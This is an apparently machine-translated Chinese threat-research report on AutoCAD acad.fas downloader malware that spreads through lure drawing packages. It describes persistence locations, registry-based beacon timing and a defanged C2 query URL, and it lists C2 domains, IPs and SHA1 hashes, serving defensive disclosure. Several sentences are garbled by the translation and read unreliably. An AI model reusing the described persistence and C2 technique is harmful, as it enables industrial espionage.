AutoCAD恶意软件-计算机辅助盗窃

  信息安全

计算机辅助设计 (CAD) 在过去几十年建设我们的技术驱动型社会中发挥了至关重要的作用,帮助结构和工程达到新的复杂程度——即使不是不可能,手工设计像哈利法塔这样的建筑也很困难。

当然,在以电子方式存储有价值的文件的地方,恶意软件通常永远不会落后,毫不奇怪, 针对 CAD 文件 的恶意软件并不是一项新发明。 另一方面,这些文件中固有的价值使得任何此类活动都值得检查,就像最近我们观察到一个使用明显已经被盗的设计文件用于酒店、厂房甚至 香港 珠澳大桥 ( 开通 上个月 这里的意图可能是获得更多的蓝图,要么直接使用(即间谍活动),要么在黑市上出售。

AutoCAD

AutoCAD——可以说是最著名和使用最广泛的 CAD 应用程序之一——自然而然地在网络攻击历史的早期发现自己成为恶意软件的焦点。 这得益于许多旨在通过提供在启动 AutoCAD 或打开项目时自动执行基于 LISP 的自定义脚本的方法来增强可用性的软件功能。 此功能可被视为类似于 Office 宏:不幸的是,这些合法工具也很容易被恶意使用。

AutoLISP 是 LISP 编程语言的一种 AutoCAD 特定方言——如今它本身就相当不寻常。 AutoLISP 文件可以采用不同的形式:它们要么保持原始的基于文本的格式(看起来很像任何其他人类可读的脚本),要么可以编译成快速加载 AutoLISP (FAS) 二进制模块。

为了帮助保护专有的自定义脚本,AutoCAD 甚至为已编译的 FAS 模块提供了基本加密。 如果在文本编辑器中打开,生成的文件输出看起来没有任何意义。

图 1 – 快速加载 AutoLISP 模块示例

这个怎么运作

自动加载 LISP 模块

大多数历史上的 AutoCAD 恶意软件都利用了该软件的基本自动加载功能,使用户能够创建自己的基于 AutoLISP 的脚本,并在应用程序启动或加载项目文件时执行它们。

AutoCAD 查找要加载的脚本或模块的位置数量有限(在某种程度上可自定义),但当然,恶意内容不仅仅会神奇地出现在这些位置。 可以手动将自动加载模块放入适当的文件夹中,但这可能会涉及到目标计算机上的初步存在或一些 社会工程 。

更简单和更明显的解决方案是将模块包含在项目文件旁边,让用户通过加载它们并自动执行脚本来完成工作。 社会工程部分——即诱骗用户打开项目——使用一组“引诱”图纸(在这种情况下,显然是来自已感染受害者的真实图纸),这些图纸可能会被选择以反映目标公司的利益。 例如,对建筑业务感兴趣的公司很容易被伪装成混凝土基础、金属合金结构或复杂建筑设计或正在进行的招标的任何元素的项目名称作为目标。 这些诱饵通常是完全合法的项目的一部分,这些项目之前已经获得并被“武器化”。

无论哪种方式,打开绘图通常会显示合法(或至少看起来合法)的内容,但也会执行恶意脚本。

图 2 – 来自 Lure 包的项目渲染示例

这箱子里有什么东西?

的大量(超过 300 个“包”,包含大约 100 个独特的恶意模块) acad.fas 在过去的几个月里,

在这种情况下,档案包含 acad.fas 放置在诱饵图纸旁边的 FAS 模块的文件属性通常设置为“隐藏”,以防止在提取档案后它们在 Windows 资源管理器中显示。 的大小 acad.fas 在 2 到 20 KB 之间变化,但更重要的是,一旦它被解密和反编译,底层脚本几乎总是相同的。 在功能方面,该脚本是一个利用基本混淆技术的简单下载器。

图 3 – 解密和反编译后重建的 AutoLISP 文件

AutoCAD 尝试加载 FAS 文件的位置因版本和配置而异,但一旦运行,文件将进一步将自身复制到以下三个位置:

  • 当前用户的 Documents 文件夹(即 C:\Users\John Doe\Documents\acad.fas)
  • AutoCAD 的主 Support 文件夹(即 C:\John Doe\Application Data\Autodesk\AutoCAD 2019\R23.0\enu\Support\acad.fas)
  • AutoCAD 的主 Program Files 文件夹(即 C:\Program Files\Autodesk\AutoCAD 2019\acaddoc.fas)

恶意 FAS 还设置了一个系统变量 (ACADLSPASDOC),结合上面的复制,导致模块不仅在 AutoCAD 启动时被加载,而且在 任何 此后打开 ,将其自身放入包含该项目的目录中,并在除最新变体之外的所有目录中设置 acad.fas

请注意,虽然所有这些复制都让它在各种项目包中从一台计算机传播到另一台计算机,但默认情况下, acad.fas 的自动执行仍仅限于上面突出显示的某些位置。 因此,可能仍然需要一些社会工程:仍然需要将绘图与恶意模块一起解压缩到用户 Documents 文件夹的根目录中。 即便如此,自 AutoCAD 2014 起引入的安全功能仍会显示弹出警告。

复制完成后,它将检索 AutoCAD 的“ CDATE ”系统变量的值(当前日期和时间)。 使用它,它将执行一些基本计算并将结果存储在称为“dlr”和“dqs”的环境变量中。 这些变量驻留在注册表中(即“HKCU\Software\Autodesk\AutoCAD\R23.0\ACAD-A001:409\FixedProfile\General”),用于将 C2 连接尝试的频率限制为大约每 24 小时一次。

连接到 C2 时,它将连接“dqs”和“dlr”变量的值、系统区域设置和实际 AutoCAD 构建的版本号。 在这个阶段,执行一些额外的计算以提供基本的混淆(例如,系统区域设置的值乘以 8),只有版本字符串以其原始形式使用。 以下是完整查询的示例。 请注意,大写字母“O”用作分隔符:

hxxp://sl.szmr.org/cj/?9c5d97bba87f468b9237c9b160c36a43142898157 O 102156291 O 8264 O 23.0s%20(LMS%20Tech)

在上面的示例中,系统区域设置为 1033 (8264/8=1033) – 这是默认的英语语言区域 – 版本字符串是“23.0s (LMS Tech)”,对应于最新的 AutoCAD 2019 版本。

如果连接成功,则在所分析的版本中会提供一个虚拟字节作为响应或另一个名为“slb.fas”或“tf.fas”的 FAS 模块,然后会静默运行并随后删除。 不幸的是,在我们的研究过程中,我们无法从 C2 检索后续 FAS 模块。 目前尚不清楚这是否是为了方便针对特定受害者而进行的额外服务器端检查的结果,还是仅仅是当前活动“不活跃”的产物。

总体而言,我们确定了至少三个明显可区分的下载器版本。 每个版本的细节都有一些细微的差别,例如,早期的变体在连接时不会发送任何分析数据。 此外,基于注册表的环境变量在版本(’dqs’、’dlr’、’dlbsf’)之间有所不同,混淆级别、C2 地址、检索第二阶段 FAS 模块的方法以及 – 如前所述 -第二阶段模块的名称(’slb.fas’、’tf.fas’)。 但是,核心功能保持不变。

特快专递

由于复杂的设计文档和计划的大小(在某些情况下为数百兆字节),以 ZIP 或 RAR 存档的形式作为电子邮件附件交付包并不总是可行的。 相反,更常见的做法是将这些大型档案托管在私人或公共文件共享服务上,并且只提供项目的链接。

有趣的是,尤其是在这个时代,选择更贴心的递送方式也并不罕见:邮寄包裹,内容以 CD/DVD 或 USB 存储设备提供。 这对许多人来说可能看起来不寻常,但考虑到 AutoCAD 文件的大小和它们包含的数据的敏感性,公司可能宁愿不将其合法文件委托给 Internet,而是更喜欢传统的邮政和快递服务,这并非不可想象。

虽然在任何特定情况下“零号病人”的初始感染媒介仍不清楚,但该恶意软件感染机器上打开的任何项目目录的能力几乎肯定会导致其传播:员工在公司内部共享项目文件 – 甚至在两家公司之间共享在同一个项目上进行合作——很容易在不知不觉中感染他们的同事。

图 4 – 来自诱饵包的计划示例

服务器异常

与该活动识别的所有 C2 子域都解析到相同的 IP 地址,该地址似乎正在运行 Microsoft Internet Information Server 6.0 的中文安装。

用过去类似的 AutoCAD 活动对地址进行交叉检查表明,相同的 C2 IP 已经使用了几年,并进一步揭示了具有相同 IIS 配置的当前 C2 IP“旁边”的第二个 IP 地址。

像这样使用“近邻”IP 地址并不少见,很可能表明所有这些活动的幕后黑手都是同一人。

下表显示了迄今为止看到的 C2 服务器的详细信息。

C2 知识产权 作为 AS 名称
sl.szmr.org 98.126.72.139 35908 VPLSNET – 美国 Krypt Technologies
sq.szmr.org 98.126.72.139 35908 VPLSNET – 美国 Krypt Technologies
sqer.szmr.org 98.126.72.139 35908 VPLSNET – 美国 Krypt Technologies
y.szmr.org 98.126.72.139 35908 VPLSNET – 美国 Krypt Technologies
zxb.isdun.com 98.126.72.139 35908 VPLSNET – 美国 Krypt Technologies
cadgs.com 98.126.72.138 35908 VPLSNET – 美国 Krypt Technologies

可能的目标

我们的遥测显示至少早在 2014 年底就存在感染,此外,新受害者似乎在 2018 年年中被感染,大多数受感染的机器出现在中国、印度、土耳其和阿联酋。

图 5 – 基于唯一受害者 IP 地址的 GEOIP 数据的受影响国家的热图

转向 C2 领域表明,参与者已成功针对多个地区的多家公司,其中至少一项活动可能专注于能源行业——几家在可再生能源行业内或与可再生能源行业有联系的公司似乎已成为该行业的受害者。恶意软件——以及另一个主要影响汽车行业的恶意软件。

然而,应该注意的是,恶意软件传播的容易性使得识别特定目标成为一门不精确的艺术:从建筑公司到国家道路维护当局,受害者中也混杂着各种各样的东西。

防止意外的模块执行

与大多数供应商一样,Autodesk 越来越重视安全考虑,并实施了多项 安全检查 ,以防止恶意(或实际上任何)脚本被意外执行。

从 AutoCAD 2014 开始,有一些安全变量(TRUSTEDPATHS、SECURELOAD 等)用于 控制 可以自动加载哪些可执行文件(模块)、从什么位置以及是否显示弹出警告,类似于 Microsoft Word 的宏设置。

这些可以通过 SECURITYOPTIONS 命令在应用程序中轻松控制,通过安装外部 CAD 管理器控制实用程序,或通过手动编辑相应的注册表项(即 HKCU\Software\Autodesk\AutoCAD\R23.0\ACAD-2001:409 \Profiles\<<未命名的配置文件>>\变量)。 如果这些设置正确并锁定,则大大降低了不必要的模块执行的风险。

请注意,AutoCAD 的 LT 版本不支持 AutoLISP 的外部使用,因此不容易受到此类攻击。

结论

CAD改变了我们的现代生活,不幸的是,工业间谍活动也随之发生了变化。 设计方案、项目计划和类似的重要文件正在以数字方式在各方之间存储和共享。 这些文件的价值——尤其是在可再生能源等新兴和繁荣的行业——可能从未如此高。 所有这一切都使得技术更熟练的网络犯罪团伙参与进来具有吸引力,而不是发送数百万封电子邮件并等待人们上当,通过将蓝图卖给出价最高的人可以获得更多的钱。

考虑到所有这些,通过注意并执行一些额外的步骤,大多数基于 AutoCAD 的攻击都可以得到缓解。 禁用来自不受信任来源的自动加载功能,确保在执行任何模块之前始终存在弹出警告,并且可以轻松实现隐藏文件的可见性。

由于其中大部分都可以通过注册表项进行控制,我们强烈建议 IT 管理员通过组策略强制执行它们。

保护声明

Forcepoint 客户在以下攻击阶段受到保护以免受这种威胁:

  • 第 4 阶段(利用) – 识别并阻止恶意文件
  • 6 阶段(Call Home) ——识别并阻止到 C2 节点的流量

妥协指标

C2

sq.szmr.org
sqer.szmr.org
sl.szmr.org
y.szmr.org

SHA1 哈希

045bc8dc1d783b87bf33a6c95a7583fe24dd5944
 04a873ac179fb76049994a8db7cfed5a91387d80
 063c64dee624fb841802feace8a269250768bf82
 0682a65a64f11b3d0d7ea73d7db084fb2dcd8207
 0b25bb21b15ad7833c446e3d07f19e0cec815b61
 0f7b268ef3ea4f0161f12dcb7a070d32831774de
 12f0c858b96ec8e12a44ccf5397274282f4cd897
 15942294c1af46d3b29a30f44cda7f0ddbc9a7df
 15cd48d5b78ff3e884d5195caa5723c49908c965
 19cdc72912fd7a9249446d6328da34b8021b3378
 1ba453fd5c41f0fffd540a118867327febf3c055
 2042a8bfa7ecc0347566cd3c3feee8cba1a9a57d
 21f86116a83bef19422e80f4768717ac0b780f9e
 230c961d86a34d345496950cacc48b01de6d18ff
 24c14affc1d62c4a7d3765d1ba7e0b65db043ebf
 2738ac3107ae95d0ff959ab878cd2cd0b945ed6b
 289daec3781643ec9344bff1cf42d845aac55f8c
 2b748e5707ac66efe17eacbc0acaadb6343825e4
 2d2bcf97a150753ffd14847e2912a4e5ac93ea59
 2d8b207f5a6dac76928e06f248bf5c60ea7e043e
 2d9d2bc620d759707e55a02fde1caaaa13dcf7a5
 317cbbcb489f9e999514228064c3111e314be1ff
 3593f25936546a985aca124447caf7f77e0e15be
 3620a7bcf8a8761c80c5259e5aaf2815657b6285
 3832d479aedba957e33fe1245d50b04d5f11a8e0
 3c590e06df9bca553d831800898d85fe7e23498c
 3cd508d43eb062d5a4f6b9dc85bcafabd1abef00
 3f087707183ddbc08b0c3b0915441c53cab9a574
 4637ada61e595307807a6c83e7d4e2e0dad6da47
 48637f42ff0c41e91f88ef1a821ca9ce75b1e211
 49d6cd730ad1d9524577ed9db34680a6923935dc
 4c28af969bfc747a0684a04518be7da18c8f6823
 4e676cafbad01684ca7d0823ace4db9c7830bba3
 4fd3417d429ac4d16fd18f3a211bf08e637ea69b
 5175574779c064ed275d9321471ae196fd4443b1
 52f13e7e50871951213941d6d576f98a4e58982f
 56921b1e12bf1ac13332840645762940671d6412
 56a161ba0903c03d28f4dfadb8bab3e7e091681f
 5784c1ceffd9c74bb957aab76707912393ee4b4b
 580d0e583d89704138bdad5c51d1532a64ddfb1d
 588da678bffb85a8f39a898b36a3559105a3f990
 5990566e2b75c61ea1ea08eb1f4a1b85e4fd160b
 5c4598d0dcba47288a1a4182acb75640fc76037c
 5f89f9c151b493b27dc238d1b69c56a4d5d97a57
 603bd7647b7516f8c3872616ed5ead537ae4a678
 60a6688db793bd72f8351e13d0c180da48ce810a
 65135fb90f1578a048e973263fe200a0141ee40e
 6725b8d44bbdca239f41b6e29c5a7dd3b2adf7ef
 685d8f7d3d7a25a07b75a3f6fc1a20161b7449ac
 6a349988f5307677031255224de12afc58c502854
 6bc63c3807cda549295419bbaa4eb83536099b0b
 6bda07f307316eb130fe156a779ac04dbdf86feb
 6d302c799eb482c28555c44e93c2d9f0315f1746
 6e37698cad532078807b1b02fc5dd0a8354a6233
 6e37cdeb1dc7f0166c8ecd95d62e6ee21c7937e8
 7170af33988f912cbe059858f54fa1d671a99284
 756c30f5d3a37896170462d02685c46edef30105
 7a0fdcc538daf5e3676959521a52326319f5ccc9
 7cb4ad3e4a272c16c16d3ca88bfe486b2018eea1
 7de0be9bad46a387122f407b5be76a66fecdf037
 81ed10856814b0fecc3a1d3a1ac0be7bb6b732b3
 8455cd93775eac739d2b1180cb0fd300094d48c5
 89a5539f35259e5f0d9678577aaf019b3ca7d8a2
 8c7186b2f94fe80efd8074d5db73398d3a3edece
 8d240bd4d436e19d2f02c4a128598430208ad737
 8f4e0233466b73609bc52fb961686cc72bee31f0
 99b711c931f7180a99095a817d435ef119e384f7
 9a5ae73ed770e84f44ae20408217858c43f192cb
 9ad69550c298543a0938d093ed7ed321d9c87ae7
 9b84d77754da6eb7b2bfda4fd1bfb5949cd4c317
 9c9aaa80c6f998f2467d6a919c5768c5965c9cf5
 9fbae8f3cda196e2c404d0ef9105d592bc894300
 a14e1b9315c88508350b6bf582f27d51585f503d
 a35bdb566dead82c5ed9dc6a141c7bb5ea87a116
 a59c5ba8493cff74979c8962b5c36426f1475e33
 a5bddc3a4057bfdc2b759bc4fd694cde3fe102b1
 aa089077232f0a4c27824f25d5b4e18f72bd5aab
 ab4bee09d4656cebd33e33e59be4945e3cda79b5
 b1bf66767040fe51f8362aaa58f2046be1034f21
 b318d8f4bc0cf4ef3fc8647c250a6ba99b027aac
 b46a47a51deb77f516d1de8b58c2470b3e3e2288
 b9118f3c3c28c48fb3594c24104109435decd8cd
 b91488262e057b236359a7591ed4b8094c8f9b42
 b9946724a652e9f5c0d822f833e2437196d1d713
 bfe5beec7b2525a27e77c1de3506a0e288b6dc1c
 c3fd9e6aaf1fdfea2afcd5f4aba7640555476206
 c56150bd4a64fd1977ef410ddea59ea71b604180
 c61ba2d2c73cce2e3a032c4bce334fd6426023e8
 c65cde9ffda885c895e7ca9d49f9e2ad81c13e5c
 c9b6ed45785cb4c890a399bd0b4ae8046cf314e5
 cb8b7dd80fa36115684a385bc61da4084d9cd64a
 ccdf899b1c55279cb25c07f31ffd42e72483f428
 cd33209e633e52345564434b1515e8fdaf07aceb
 cd92b8925843d9e4144d8e70b2f6340442facd9c
 cf22a63d3443ee51f54423956ad79a251aa96cb8
 d01410bada0c24a8734d4c725220f8079a14c273
 d33cfbe50b4c0bf07eabf1dc8e5736f4507dff27
 d6c42b896b9b9afc598c03af77e9555fdbb77240
 dc2a70baaa3067f4f1293fd587f025a572b2a1ec
 e3bc169bc6c58d8320d52f405692c7234935cdddd
 e7791fc2e2b5b2d4bf5b26f25cddccefe1877536
 e9aabf1cc51b59be85c5401831caa3c6bbbdc39d
 ef9c13e62be77673c1ec5f68902a3d2260217846
 f1d599931953c71de8e1941dfb9917effc607c31
 f44f7b7c198f623890825bb89fb64b3220ab4392
 f5539cf0206fdf4216e5dfed45b63c5ac48720d4
 fb5af920004a4944d6cea373ba17e24b283aa77b
 fcc225598e0f2eff946ec0a3a435e9cf98090a6e
 fcda8380e6bdf8f3c722c6b7d9a076d625c43df9